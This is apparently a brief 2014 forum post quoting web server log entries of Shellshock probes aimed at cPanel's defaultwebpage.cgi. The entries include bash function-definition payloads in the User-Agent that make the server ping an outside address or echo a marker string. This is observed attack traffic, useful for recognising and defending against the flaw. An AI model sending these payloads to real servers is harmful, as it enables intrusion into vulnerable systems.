very interesting one:
89.207.135.125 - - * () { :;}; /bin/ping -c 1 198.101.206.138"
24.251.197.244 - - [25/Sep/2014:10:07:47 +0000] "GET / HTTP/1.1" 301 178 "-" "() { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq">89.207.135.125 - - - "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 483 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
...searching for vulnerable CPanel installs.
Lets all ping 198...138!